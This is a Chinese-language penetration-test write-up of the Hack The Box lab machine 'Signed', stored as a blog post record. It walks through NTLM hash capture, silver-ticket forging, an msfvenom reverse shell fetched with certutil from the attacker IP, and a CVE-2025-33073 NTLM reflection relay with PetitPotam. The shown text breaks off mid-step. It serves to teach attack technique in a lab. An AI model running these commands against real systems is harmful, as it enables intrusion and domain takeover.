{"id":325,"date":"2025-10-17T08:16:59","date_gmt":"2025-10-17T00:16:59","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=325"},"modified":"2026-01-29T16:19:00","modified_gmt":"2026-01-29T08:19:00","slug":"325","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2025\/10\/17\/325\/","title":{"rendered":"HTB\u9776\u673a Signed \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code><strong>10.10.11.90<\/strong><\/code><strong>\uff08\u975e\u56fa\u5b9aIP\u5730\u5740\uff09<\/strong><\/p>\n<p><strong>\u63d0\u4f9b\u51ed\u636e\uff1a<\/strong><code><strong>scott \/ Sm230#C5NatH<\/strong><\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.129.186.183 (10.129.186.183) 56(84) bytes of data.\n64 bytes from 10.129.186.183: icmp_seq=1 ttl=127 time=279 ms\n64 bytes from 10.129.186.183: icmp_seq=2 ttl=127 time=302 ms\n64 bytes from 10.129.186.183: icmp_seq=3 ttl=127 time=262 ms\n64 bytes from 10.129.186.183: icmp_seq=4 ttl=127 time=347 ms\n\n--- 10.129.186.183 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3005ms\nrtt min\/avg\/max\/mdev = 262.442\/297.575\/346.516\/31.553 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u7f51\u7edc\u8fde\u63a5\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Tue Oct 14 14:54:48 2025 as: \/usr\/lib\/nmap\/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.186.183\nNmap scan report for signed.htb (10.129.186.183)\nHost is up (0.26s latency).\nAll 65535 scanned ports on signed.htb (10.129.186.183) are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Tue Oct 14 14:55:33 2025 -- 1 IP address (1 host up) scanned in 45.63 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u63a2\u6d4b\u9776\u673a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code><strong>TCP<\/strong><\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Tue Oct 14 15:06:36 2025 as: \/usr\/lib\/nmap\/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.186.183\nNmap scan report for signed.htb (10.129.186.183)\nHost is up (0.27s latency).\nNot shown: 65534 filtered tcp ports (no-response)\nPORT     STATE SERVICE  VERSION\n1433\/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM\n| ms-sql-info: \n|   10.129.186.183:1433: \n|     Version: \n|       name: Microsoft SQL Server 2022 RTM\n|       number: 16.00.1000.00\n|       Product: Microsoft SQL Server 2022\n|       Service pack level: RTM\n|       Post-SP patches applied: false\n|_    TCP port: 1433\n|_ssl-date: 2025-10-14T07:09:25+00:00; -11s from scanner time.\n| ms-sql-ntlm-info: \n|   10.129.186.183:1433: \n|     Target_Name: SIGNED\n|     NetBIOS_Domain_Name: SIGNED\n|     NetBIOS_Computer_Name: DC01\n|     DNS_Domain_Name: SIGNED.HTB\n|     DNS_Computer_Name: DC01.SIGNED.HTB\n|     DNS_Tree_Name: SIGNED.HTB\n|_    Product_Version: 10.0.17763\n| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback\n| Not valid before: 2025-10-14T06:42:03\n|_Not valid after:  2055-10-14T06:42:03\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose\nRunning (JUST GUESSING): Microsoft Windows 2019|10 (97%)\nOS CPE: cpe:\/o:microsoft:windows_server_2019 cpe:\/o:microsoft:windows_10\nAggressive OS guesses: Windows Server 2019 (97%), Microsoft Windows 10 1903 - 21H1 (91%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\n\nHost script results:\n|_clock-skew: mean: -11s, deviation: 0s, median: -11s\n\nTRACEROUTE (using proto 1\/icmp)\nHOP RTT       ADDRESS\n1   280.22 ms 10.10.14.1\n2   280.35 ms signed.htb (10.129.186.183)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Tue Oct 14 15:09:36 2025 -- 1 IP address (1 host up) scanned in 180.46 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.95 scan initiated Tue Oct 14 15:10:30 2025 as: \/usr\/lib\/nmap\/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.186.183\nNmap scan report for signed.htb (10.129.186.183)\nHost is up (0.30s latency).\nNot shown: 65534 open|filtered udp ports (no-response)\nPORT   STATE SERVICE\n53\/udp open  domain\n\n# Nmap done at Tue Oct 14 15:11:15 2025 -- 1 IP address (1 host up) scanned in 45.03 seconds<\/code><\/pre>\n<p><code><strong>UDP<\/strong><\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Windows Server 2019<\/code>\uff0c\u5bf9\u5916\u53ea\u5f00\u653e\u4e86<code>1433\/mssql<\/code>\u548c<code>53\/dns(over udp)<\/code>\u670d\u52a1\uff0c\u4e14\u4e3a\u57df\u63a7\u5236\u5668\uff0c\u57df\u540d\u4e3a<code>signed.htb<\/code>\uff0c\u4e3b\u673a\u540d\u4e3a<code>DC01<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>DNS\u670d\u52a1\uff0853\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>dig<\/code>\u547d\u4ee4\u67e5\u8be2\u9776\u673a<code>DNS<\/code>\u8bb0\u5f55\u4e2d\u6ce8\u518c\u7684\u57fa\u672c\u57df\u540d\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-shell\">dig any +notcp signed.htb @dc01.signed.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760427572751-a6f882d8-5483-422c-9e7b-8f95fe33bed2.png\" alt=\"\" \/><\/p>\n<p>\u9664\u57df\u63a7\u4e3b\u673a\u5916\uff0c\u672a\u53d1\u73b0\u4efb\u4f55\u6ce8\u518c\u57df\u540d\u3002<\/p>\n<h2>MSSQL\u670d\u52a1\uff081433\u7aef\u53e3\uff09<\/h2>\n<p>\u4f7f\u7528<code>impacket-mssqlclient<\/code>\u5de5\u5177\u8fde\u63a5\u9776\u673a\u6570\u636e\u5e93\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-mssqlclient signed.htb\/scott:\"Sm230#C5NatH\"@dc01.signed.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760430895277-11e2c8ac-5720-449d-9e25-41b0c44c30e6.png\" alt=\"\" \/><\/p>\n<p>\u8fdb\u884c\u57fa\u7840\u4fe1\u606f\u679a\u4e3e\u540e\uff0c\u672a\u53d1\u73b0\u6709\u6548\u4fe1\u606f\uff0c\u9042\u4f7f\u7528<code>netexec<\/code>\u5de5\u5177\u8fdb\u884c\u8fdb\u4e00\u6b65\u679a\u4e3e\u3002\u9996\u5148\u679a\u4e3e\u57df\u5185<code>RID<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">netexec mssql -u scott -p \"Sm230#C5NatH\" --dns-server 10.129.186.183 --rid-brute 40000 dc01.signed.htb --local-auth --mssql-timeout 60<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760431109639-96e4af60-7bf4-4a75-913d-662e551d3b4c.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u53d1\u73b0\u57df\u5185\u7528\u6237\uff01\u6839\u636e\u4ee5\u5f80\u7ecf\u9a8c\u5bf9\u5bf9\u8c61\u5217\u8868\u8fdb\u884c\u5206\u6790\u6574\u7406\uff0c\u7b5b\u9009\u51fa\u5982\u4e0b\u7528\u6237\u540d\uff1a<\/p>\n<pre><code class=\"language-plain\">Administrator\nGuest\nkrbtgt\nDC01$\nmssqlsvc\noliver.mills\nemma.clark\nliam.wright\nnoah.adams\nava.morris\nsophia.turner\njames.morgan\nmia.cooper\nelijah.brooks\nisabella.evans\nlucas.murphy\nwilliam.johnson\ncharlotte.price\nhenry.bennett\namelia.kelly\njackson.gray\nharper.diaz\nSQLServer2005SQLBrowserUser$DC01<\/code><\/pre>\n<p>\u9664\u6b64\u4e4b\u5916\uff0c\u672a\u53d1\u73b0\u5176\u5b83\u4fe1\u606f\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>\u7a83\u53d6\u5e76\u7834\u89e3Net-NTLM\u54c8\u5e0c<\/h2>\n<p>\u5728\u670d\u52a1\u63a2\u6d4b\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u5bf9<code>DNS<\/code>\u670d\u52a1\u548c<code>MSSQL<\/code>\u670d\u52a1\u8fdb\u884c\u4e86\u679a\u4e3e\uff0c\u867d\u672a\u53d1\u73b0\u53ef\u5229\u7528\u4fe1\u606f\uff0c\u4f46\u53d1\u73b0<code>MSSQL<\/code>\u53ef\u4ee5\u4f7f\u7528<code>xp_dirtree<\/code>\u5b58\u50a8\u8fc7\u7a0b\uff0c\u6545\u5c1d\u8bd5\u5728\u672c\u5730\u542f\u52a8<code>responder<\/code>\u5de5\u5177\u5145\u5f53\u6076\u610f<code>SMB<\/code>\u670d\u52a1\u5668\uff0c\u5229\u7528<code>xp_dirtree<\/code>\u5b58\u50a8\u8fc7\u7a0b\u8ba9\u8fdb\u7a0b\u5411\u6076\u610f<code>SMB<\/code>\u670d\u52a1\u53d1\u8d77\u5f3a\u5236\u8ba4\u8bc1\uff0c\u4ece\u800c\u6355\u83b7\u670d\u52a1\u8d26\u53f7<code>Net-NTLM<\/code>\u54c8\u5e0c\u5e76\u7834\u89e3\u3002<\/p>\n<p>\u5728\u672c\u5730\u6267\u884c\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">responder -I tun0<\/code><\/pre>\n<p>\u968f\u540e\u8fde\u63a5<code>MSSQL<\/code>\u670d\u52a1\uff0c\u6267\u884c<code>xp_dirtree<\/code>\u5b58\u50a8\u8fc7\u7a0b\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-mssqlclient scott:\"Sm230#C5NatH\"@dc01.signed.htb\nxp_dirtree \/\/10.10.14.29\/misaka19008<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760494204937-199bd66e-c8b9-4222-b0b5-d60714829e4e.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u6355\u83b7\u670d\u52a1\u8d26\u53f7<code>mssqlsvc<\/code>\u7684<code>Net-NTLM<\/code>\u54c8\u5e0c\uff01\u76f4\u63a5\u4fdd\u5b58\u5230\u6587\u4ef6\u5185\uff0c\u4f7f\u7528<code>john<\/code>\u5de5\u5177\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-shell\">john .\/mssqlsvc-hash.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760495135434-62484ef3-16cf-4fe0-8813-7f87aac21476.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97\u57df\u670d\u52a1\u8d26\u53f7\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u57df\uff1a<code>signed.htb<\/code><\/li>\n<li>\u7528\u6237\u540d\uff1a<code>mssqlsvc<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>purPLE9795!@<\/code><\/li>\n<\/ul>\n<p>\u4f7f\u7528<code>mssqlsvc<\/code>\u8eab\u4efd\u767b\u5f55\u6570\u636e\u5e93\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-mssqlclient signed.htb\/mssqlsvc:'purPLE9795!@'@dc01.signed.htb -windows-auth<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760495255694-66b9a9f1-8f04-41b9-9f87-c15b3cc5e481.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\uff01<\/p>\n<h2>\u4f2a\u9020\u9ad8\u6743\u9650\u767d\u94f6\u7968\u636e\u63a5\u7ba1\u6570\u636e\u5e93<\/h2>\n<p>\u4ee5<code>mssqlsvc<\/code>\u7528\u6237\u767b\u5f55<code>MSSQL<\/code>\u6570\u636e\u5e93\u540e\uff0c\u5c1d\u8bd5\u91cd\u65b0\u8fdb\u884c\u679a\u4e3e\u3002\u9996\u5148\u679a\u4e3e\u6570\u636e\u5e93\u5185\u53ef\u767b\u5f55\u7528\u6237\u5b9e\u4f53\uff1a<\/p>\n<pre><code class=\"language-shell\">enum_logins<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760501012457-2cad2b8c-218c-4b7e-b3aa-e1c1252fd478.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u9664\u4e86<code>sa<\/code>\u8d26\u6237\u5916\uff0c\u4f7f\u7528\u5728<code>SIGNED\\IT<\/code>\u7ec4\u5185\u7684\u7528\u6237\u767b\u5f55\u6570\u636e\u5e93\u4e5f\u53ef\u4ee5\u83b7\u5f97\u6570\u636e\u5e93\u7ba1\u7406\u5458\u6743\u9650\u3002\u76f4\u63a5\u4ece<code>sys.server_principals<\/code>\u8868\u4e2d\u67e5\u8be2\u5173\u4e8e<code>SIGNED\\IT<\/code>\u7ec4\u7684\u4fe1\u606f\uff1a<\/p>\n<pre><code class=\"language-sql\">SELECT * FROM sys.server_principals WHERE name = 'SIGNED\\IT'<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760501359852-9dfe6670-4d1f-406d-8679-3c3fa0871047.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u5b58\u5728<code>IT<\/code>\u7ec4\u4e8c\u8fdb\u5236\u683c\u5f0f\u7684<code>Windows SID<\/code>\uff0c\u76f4\u63a5\u4f7f\u7528<code>PowerShell<\/code>\u8f6c\u6362\u4e3a\u5b57\u7b26\u4e32\u683c\u5f0f\u7684<code>SID<\/code>\uff1a<\/p>\n<pre><code class=\"language-powershell\">$hexString = \"0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000\"\n$bytes = [byte[]]::new($hexString.Length \/ 2)\nfor ($i = 0; $i -lt $hexString.Length; $i += 2) {\n  $bytes[$i\/2] = [Convert]::ToByte($hexString.Substring($i, 2), 16)\n}\n$sid = New-Object System.Security.Principal.SecurityIdentifier($bytes, 0)\nWrite-Output $sid.Value<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760501537022-87cc44cc-3cb2-4b96-b131-2cb6a9bb8745.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u83b7\u5f97\u57df<code>SID<\/code>\u4e3a\uff1a<code>S-1-5-21-4088429403-1159899800-2753317549<\/code>\uff0c<code>IT<\/code>\u7ec4<code>RID<\/code>\u4e3a<code>1105<\/code>\uff01<\/p>\n<p>\u7531\u4e8e\u73b0\u5728\u5df2\u7ecf\u83b7\u5f97\u4e86\u670d\u52a1\u8d26\u53f7<code>mssqlsvc<\/code>\u7684\u5bc6\u7801\u54c8\u5e0c\uff0c\u4ee5\u53ca\u57df<code>SID<\/code>\u548c\u6570\u636e\u5e93\u7ba1\u7406\u7ec4\u7684<code>RID<\/code>\uff0c\u6211\u4eec\u53ef\u4ee5\u4f2a\u9020\u4e00\u4efd\u7528\u6237\u4fe1\u606f\u4e3a<code>mssqlsvc<\/code>\u7684\u767d\u94f6\u7968\u636e\uff0c\u5e76\u5c06<code>IT<\/code>\u7ec4\u7684<code>RID<\/code>\u6dfb\u52a0\u5230<code>PAC<\/code>\u8ba4\u8bc1\u4fe1\u606f\u4e2d\uff0c\u8fd9\u6837\u6570\u636e\u5e93\u5728\u63a5\u53d7\u767b\u5f55\u4fe1\u606f\u65f6\u5c31\u4f1a\u8ba4\u4e3a<code>mssqlsvc<\/code>\u7528\u6237\u5728<code>IT<\/code>\u7ec4\u5185\uff0c\u4ece\u800c\u83b7\u5f97\u6570\u636e\u5e93\u7ba1\u7406\u6743\u9650\u3002<\/p>\n<p>\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u751f\u6210\u7968\u636e\uff08<code>SPN<\/code>\u5e94\u4e3a<code>mssqlDC01.SIGNED.HTB<\/code>\uff0c\u54c8\u5e0c\u503c\u4e3a<code>mssqlsvc<\/code>\u7684<code>NTLM<\/code>\u54c8\u5e0c\uff09\uff1a<\/p>\n<pre><code class=\"language-shell\">impacket-ticketer -spn mssql\/DC01.SIGNED.HTB -domain signed.htb -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -group 1105 -nthash EF699384C3285C54128A3EE1DDB1A0CC mssqlsvc\nmv mssqlsvc.ccache mssqlsvc_privileged_silver.ccache\nexport KRB5CCNAME=\/home\/misaka19008\/Documents\/pentest_notes\/signed\/mssqlsvc_privileged_silver.ccache<\/code><\/pre>\n<p>\u968f\u540e\u4f7f\u7528<code>netexec<\/code>\u5de5\u5177\u767b\u5f55\u6570\u636e\u5e93\uff0c\u5c1d\u8bd5\u5229\u7528<code>xp_cmdshell<\/code>\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff1a<\/p>\n<pre><code class=\"language-shell\">netexec mssql -d signed.htb -u mssqlsvc -k --use-kcache dc01.signed.htb -x \"whoami \/all\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760502454285-eb563ed4-8b2c-4178-a495-3f20e360f8e0.png\" alt=\"\" \/><\/p>\n<p>\u6267\u884c\u547d\u4ee4\u6210\u529f\uff01\u76f4\u63a5\u5728\u672c\u5730\u751f\u6210<code>meterpreter<\/code>\u6728\u9a6c\uff0c\u542f\u52a8<code>SimpleHTTPServer<\/code>\u548c<code>Metasploit<\/code>\u76d1\u542c\uff1a<\/p>\n<pre><code class=\"language-shell\">msfvenom -p windows\/x64\/meterpreter_reverse_tcp LHOST=10.10.14.29 LPORT=443 -f exe -o reverse443.exe\npython -m http.server 80\nmsfconsole\nuse exploit\/multi\/handler\nset payload windows\/x64\/meterpreter_reverse_tcp\nset LHOST 10.10.14.29\nset LPORT 443\nset ExitOnSession false\nrun -jz<\/code><\/pre>\n<p>\u63a5\u7740\u901a\u8fc7<code>netexec<\/code>\u5de5\u5177\uff0c\u5728\u9776\u673a\u4e0a\u6267\u884c\u547d\u4ee4\u4e0b\u8f7d\u5e76\u8fd0\u884c\u6728\u9a6c\uff1a<\/p>\n<pre><code class=\"language-shell\">netexec mssql -d signed.htb -u mssqlsvc -k --use-kcache dc01.signed.htb -x \"certutil -urlcache -split -f http:\/\/10.10.14.29\/reverse443.exe C:\\Windows\\Temp\\reverse443.exe\"\nnetexec mssql -d signed.htb -u mssqlsvc -k --use-kcache dc01.signed.htb -x \"C:\\Windows\\Temp\\reverse443.exe\"<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760503056655-2db5763d-f3e7-44a3-9687-c62759171168.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\u83b7\u5f97\u53cd\u5f39Shell\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>CVE-2025-33073 NTLM\u53cd\u5c04\u6f0f\u6d1e\u5229\u7528<\/h2>\n<blockquote><p>\u5728<code>2025<\/code>\u5e74<code>6<\/code>\u6708<code>10<\/code>\u65e5\uff0c\u4e00\u4e2a\u5173\u4e8e<code>Windows Server<\/code>\u7684<code>NTLM<\/code>\u53cd\u5c04\u6f0f\u6d1e\u88ab\u63d0\u4ea4\u5230\u4e86<code>NVD<\/code>\u6f0f\u6d1e\u5e93\u4e0a\uff0c\u8be5\u6f0f\u6d1e\u968f\u5373\u88ab\u547d\u540d\u4e3a<code>CVE-2025-33073<\/code>\u3002\u653b\u51fb\u8005\u53ef\u5229\u7528<code>Windows Server<\/code>\u7cfb\u7edf\u7684\u9ed8\u8ba4\u8bbe\u7f6e\u4e0b\uff0c\u666e\u901a\u57df\u7528\u6237\u53ef\u5411\u57df\u63a7\u5236\u5668\u4e2d\u6ce8\u518c\u57df\u540d\u8fd9\u4e00\u95ee\u9898\uff0c\u4ee5\u53ca<code>Windows SMB<\/code>\u5ba2\u6237\u7aef<code>mrxsmb.sys<\/code>\u4e2d\u8c03\u7528\u7684\uff0c\u7528\u4e8e\u5224\u65ad\u8ba4\u8bc1\u76ee\u6807\u662f\u5426\u4e3a\u672c\u5730\u673a\u5668\u7684<code>Windows API<\/code>\u51fd\u6570<code>msv1_0!SspIsTargetLocalhost()<\/code>\u5904\u7406\u57df\u540d\u5b57\u7b26\u4e32\u65f6\u7684\u4e00\u4e9b\u7f3a\u9677\uff0c\u4f7f\u7528\u67d0\u4e9b\u624b\u6bb5\u89e6\u53d1\u57df\u63a7\u5236\u5668\u5411\u6076\u610f<code>SMB<\/code>\u670d\u52a1\u7684\u5f3a\u5236\u8ba4\u8bc1\uff0c\u8fdb\u800c\u901a\u8fc7\u6076\u610f\u670d\u52a1\u5c06\u8ba4\u8bc1\u8bf7\u6c42\u91cd\u653e\u56de\u57df\u63a7\u5236\u5668\u7684\u65b9\u5f0f\uff0c\u83b7\u5f97\u76ee\u6807\u57df\u63a7\u5236\u5668\u7684\u6700\u9ad8\u6743\u9650\u3002<\/p><\/blockquote>\n<p><strong><span style=\"color: #df2a3f;\">\u7814\u7a76\u4e8b\u5b9e\u8868\u660e\uff0c\u5f53\u653b\u51fb\u8005\u5728\u57df\u5185\u6dfb\u52a0\u7cbe\u5fc3\u6784\u9020\u7684\u6076\u610f\u57df\u540d<\/span><\/strong><code>localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA<\/code><strong><span style=\"color: #df2a3f;\">\uff0c\u968f\u540e\u8c03\u7528<\/span><\/strong><code>PetitPotam<\/code><strong><span style=\"color: #df2a3f;\">\u5de5\u5177\u5bf9\u57df\u63a7\u5236\u5668\u89e6\u53d1\u5411\u6076\u610f\u57df\u540d\uff08\u5b9e\u9645\u6307\u5411\u6076\u610f<\/span><\/strong><code>SMB<\/code><strong><span style=\"color: #df2a3f;\">\u91cd\u653e\u670d\u52a1\uff09\u8fdb\u884c\u8ba4\u8bc1\u65f6\uff0c<\/span><\/strong><code>msv1_0!SspIsTargetLocalhost()<\/code><strong><span style=\"color: #df2a3f;\">\u51fd\u6570\u4f1a\u8ba4\u4e3a\u8ba4\u8bc1\u76ee\u6807\u4e3a\u672c\u5730\u673a\u5668\uff0c\u8fdb\u800c\u5efa\u8bae<\/span><\/strong><code>Windows SMB<\/code><strong><span style=\"color: #df2a3f;\">\u8fdb\u884c<\/span><\/strong><code>NTLM<\/code><strong><span style=\"color: #df2a3f;\">\u672c\u5730\u8ba4\u8bc1\u3002<\/span><\/strong>\u56e0\u4e3a\u672c\u5730\u8ba4\u8bc1\u65e0\u9700\u8ba1\u7b97<code>Challenge<\/code>\u503c\uff0c\u653b\u51fb\u8005\u4ece\u800c\u7ed5\u8fc7\u4e86<code>MS08-068<\/code>\u8865\u4e01\u4e2d\u63a5\u6536\u6765\u6e90\u4e8e\u672c\u673a\u7684<code>NTLMv2<\/code>\u7b2c\u4e09\u6b65\u8ba4\u8bc1\u8bf7\u6c42\u7684<code>300<\/code>\u79d2\u65f6\u95f4\u9650\u5236\uff0c\u8fdb\u800c\u83b7\u53d6\u6574\u4e2a\u57df\u7f51\u7edc\u7684\u6700\u9ad8\u63a7\u5236\u6743\u3002\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf<code>Windows Server 2019<\/code>\u53d7\u8be5\u6f0f\u6d1e\u5f71\u54cd\uff0c\u5c1d\u8bd5\u4f7f\u7528\u8be5\u6f0f\u6d1e\u8fdb\u884c\u6743\u9650\u63d0\u5347\u3002<\/p>\n<p>\u9996\u5148\u4f7f\u7528<code>Metasploit<\/code>\u642d\u5efa<code>SOCKS<\/code>\u4ee3\u7406\u96a7\u9053\uff0c\u76f4\u63a5\u6dfb\u52a0\u8def\u7531\uff0c\u5e76\u542f\u52a8<code>auxiliary\/server\/socks_proxy<\/code>\u6a21\u5757\uff1a<\/p>\n<pre><code class=\"language-shell\">route add 10.10.10.0 255.255.254.0 1\nuse auxiliary\/server\/socks_proxy\nset VERSION 5\nrun -jz<\/code><\/pre>\n<p>\u63a5\u7740\u5728<code>\/etc\/proxychains4.conf<\/code>\u6587\u4ef6\u6700\u540e\u4e00\u884c\u6dfb\u52a0\u4ee3\u7406\u914d\u7f6e\uff1a<\/p>\n<pre><code class=\"language-plain\">socks5  127.0.0.1 1080<\/code><\/pre>\n<p>\u4f7f\u7528<code>crackmapexec<\/code>\u5de5\u5177\u6d4b\u8bd5\u4ee3\u7406\u96a7\u9053\u901a\u4fe1\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760584468402-246c3eae-801c-4b6b-b369-2fb1a4fda0de.png\" alt=\"\" \/><\/p>\n<p>\u901a\u4fe1\u96a7\u9053\u642d\u5efa\u6210\u529f\uff01\u968f\u540e\u4f7f\u7528<code>dnstool<\/code>\u5de5\u5177\uff08\u9700\u5b89\u88c5<code>krbrelayx<\/code>\u8f6f\u4ef6\u5305\uff09\u5411\u57df\u4e2d\u6dfb\u52a0\u7cbe\u5fc3\u6784\u9020\u7684<code>DNS<\/code>\u8bb0\u5f55\uff0c\u8bb0\u5f55\u5185\u5bb9\u6307\u5411\u653b\u51fb\u673a<code>IP<\/code>\u5730\u5740\uff1a<\/p>\n<pre><code class=\"language-shell\">proxychains4 -q dnstool -u \"SIGNED.HTB\\mssqlsvc\" -p 'purPLE9795!@' -dc-ip 10.10.11.90 -dns-ip 10.10.11.90 --action add --record \"localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA\" --data \"10.10.14.2\" dc01.signed.htb<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760583998586-39e5e56c-bfe6-47f8-bdc2-338efcbcc099.png\" alt=\"\" \/><\/p>\n<p>\u63a5\u7740\u5c06\u6700\u65b0\u7248\u7684<code>Impacket<\/code>\u4ece<code>GitHub<\/code>\u4e0a\u4e0b\u8f7d\u5230\u672c\u5730\uff0c\u4f7f\u7528<code>pipx<\/code>\u5b89\u88c5\uff1a<\/p>\n<pre><code class=\"language-shell\">git clone https:\/\/github.com\/fortra\/impacket.git -b master\npython3 -m pipx install .\/impacket<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760658290343-f3cfe4de-85a2-41f0-93d4-904223b2dba1.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\uff0c\u542f\u52a8<code>ntlmrelayx.py<\/code>\u76d1\u542c<code>SMB<\/code>\u670d\u52a1\u7aef\u53e3\uff0c\u5e76\u4f7f\u7528<code>PetitPotam<\/code>\u5de5\u5177\u5229\u7528<code>MS-EFSRPC<\/code>\u534f\u8bae\u5f3a\u5236\u9776\u673a\u5411\u6076\u610f<code>SMB<\/code>\u670d\u52a1\u8fdb\u884c\u8eab\u4efd\u8ba4\u8bc1\uff1a<\/p>\n<pre><code class=\"language-shell\">proxychains4 -q ~\/.local\/bin\/ntlmrelayx.py -t winrms:\/\/10.10.11.90 -smb2support\nproxychains4 -q \/home\/misaka19008\/Documents\/Programs\/PetitPotam\/PetitPotam.py -u mssqlsvc -p 'purPLE9795!@' localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 10.10.11.90<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2025\/png\/42816956\/1760658889279-2d3ecdc3-2732-4a25-8484-9e2ee5fb1377.png\" alt=\"\" 